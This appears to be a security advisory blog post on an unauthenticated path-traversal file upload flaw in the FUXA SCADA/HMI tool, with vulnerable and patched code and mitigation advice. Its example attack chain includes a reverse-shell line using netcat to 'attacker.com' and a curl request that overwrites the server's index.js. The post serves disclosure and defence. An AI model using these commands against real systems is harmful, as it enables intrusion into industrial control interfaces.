Feb 5, 2026·6 min read·16 visits
The FUXA visualization tool contains a critical vulnerability where the `/api/upload` endpoint accepts file writes from unauthenticated users with zero path validation. Attackers can use directory traversal to overwrite server files, granting instant RCE. Patch immediately.
A catastrophic failure in the FUXA SCADA/HMI visualization software allows unauthenticated attackers to write arbitrary files to the server's filesystem. By exploiting a lack of authorization and a path traversal vulnerability in the upload API, threat actors can overwrite application source code or inject malicious scripts, achieving full Remote Code Execution (RCE) on critical industrial control interfaces.
Industrial Control Systems (ICS) and SCADA interfaces are supposed to be the fortresses of the digital world. They control valves, pumps, factory lines, and things that generally shouldn't go "boom." FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) tool built on Node.js, designed to give operators a slick interface to monitor these systems.
But here's the irony: while the backend PLCs speak ancient, robust protocols, the frontend is often modern web spaghetti. GHSA-88qh-cphv-996c represents the worst-case scenario for such a tool. It isn't a complex memory corruption bug requiring heap feng shui. It isn't a subtle cryptographic oracle attack.
It is an open door. Specifically, an API endpoint that essentially says, "Hello stranger, please write whatever bytes you want, to whatever file path you specify, and I will execute them for you." It is a reminder that in the rush to visualize data, security often gets left in the TODO.md file.
The vulnerability resides in the /api/upload endpoint. In a secure application, a file upload handler performs three sacred duties: it checks who you are (Authentication), it checks if you are allowed to upload (Authorization), and it checks where the file is going (Sanitization).
FUXA went for the hat-trick of failure and did none of these. The endpoint was publicly accessible—no JWT, no session cookie, no API key required. If you could reach the port, you were the admin.
However, the real spice lies in the parameter handling. The API accepted a destination parameter in the JSON body. Instead of treating this as a logical label or mapping it to a safe, predefined list, the code fed this string directly into path.resolve.
For those not fluent in Node.js nightmares, path.resolve tries to be helpful by resolving a sequence of paths into an absolute path. If you feed it ../, it helpfully traverses up the directory tree. This allowed attackers to break out of the intended upload sandbox and traverse right into the heart of the application's source code.
Let's look at the code that made this possible. This snippet is from the unpatched version. Notice the elegant simplicity of the catastrophe.
// The Vulnerable Endpoint
prjApp.post('/api/upload', function (req, res) {
const file = req.body.resource;
const destination = req.body.destination;
// The vulnerability: constructing a path based on user input without validation
// If 'destination' is '../../../../', we are writing to the root.
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
// ... code to write 'file' to 'destinationDir' ...
});There is no middleware before the callback. No ensureAuthenticated. Just raw access. The path.resolve function joins the application directory with the user's destination. Because the developer didn't strip .. sequences, the file system becomes a playground.
Now, observe the fix in commit 22c2192f5d9beef8a787c45eff3a14c24dbb5f96. The developer had to apply a tourniquet to the bleeding logic:
// The Patched Endpoint
// 1. Added Authorization Middleware 'secureFnc'
prjApp.post('/api/upload', secureFnc, function (req, res) {
// 2. Explicit Admin Check
const permission = checkGroupsFnc(req);
if (!authJwt.haveAdminPermission(permission)) {
return res.status(401).json({error:"unauthorized_error"});
}
// 3. Path Normalization and Traversal Check
const destination = req.body.destination;
const normalizedDestination = path.normalize(destination).replace(/^([/\\])+/, '');
// Explicitly forbidding '..' segments
const hasTraversal = normalizedDestination.split(path.sep).includes('..');
if (hasTraversal || path.isAbsolute(destination)) {
return res.status(400).json({error:"invalid_destination"});
}
// 4. Sandbox Check
const destinationDir = path.resolve(baseDir, `_${normalizedDestination}`);
if (!destinationDir.startsWith(path.resolve(baseDir))) {
return res.status(400).json({error:"invalid_destination"});
}
// ...
});The patch introduces four layers of defense: authentication middleware, an explicit admin permission check, path normalization to strip weird slashes, and a strict check ensuring the resolved path starts with the intended base directory (Sandboxing 101).
In PHP environments, arbitrary file write often means uploading a .php shell to the webroot. In Node.js, it's slightly different but equally devastating. Since Node.js applications are often long-running processes that load modules, we can achieve RCE by overwriting an existing .js file that the application uses.
Here is a theoretical attack chain a researcher might use:
server/index.js or a specific API route handler are prime candidates.// malicious_payload.js
const require('child_process').exec('nc -e /bin/sh attacker.com 4444');curl -X POST http://TARGET-IP:1881/api/upload \
-H "Content-Type: application/json" \
-d '{
"destination": "../../server/",
"resource": "(content of malicious_payload.js overwriting index.js)",
"fileName": "index.js"
}'The impact of this vulnerability cannot be overstated. We are talking about software used in industrial environments. This isn't just about stealing a database of user emails; it's about gaining control over the interface that monitors physical machinery.
With RCE, an attacker can:
Because the vulnerability is unauthenticated, it is wormable. A script could scan the internet, identify FUXA instances, and automatically infect them, creating a botnet of compromised industrial controllers.
If you are running FUXA, you need to update now. The fix is contained in the commit pushed on January 23, 2026. If you cannot update the software immediately, you must isolate the system network-wise.
Immediate Actions:
22c2192f5d9beef8a787c45eff3a14c24dbb5f96 is included).server/ directory and other critical paths. Compare file creation dates. If index.js was modified recently and you didn't do it, you have a problem.For developers reading this: this is a lesson in Defense in Depth. Never rely on the frontend to protect the backend. Never assume a path string is safe. Always use path.join with strict validation, or better yet, do not allow user-defined paths at all—use generated UUIDs for filenames and store the metadata in a database.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
FUXA frangoteam | < 2026-01-23 | Commit 22c2192 |
| Attribute | Detail |
|---|---|
| Attack Vector | Network (HTTP) |
| CVSS Score | 9.8 (Critical) |
| CWE ID | CWE-22 (Path Traversal) |
| Privileges Required | None |
| Impact | Remote Code Execution (RCE) |
| Status | Patched |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.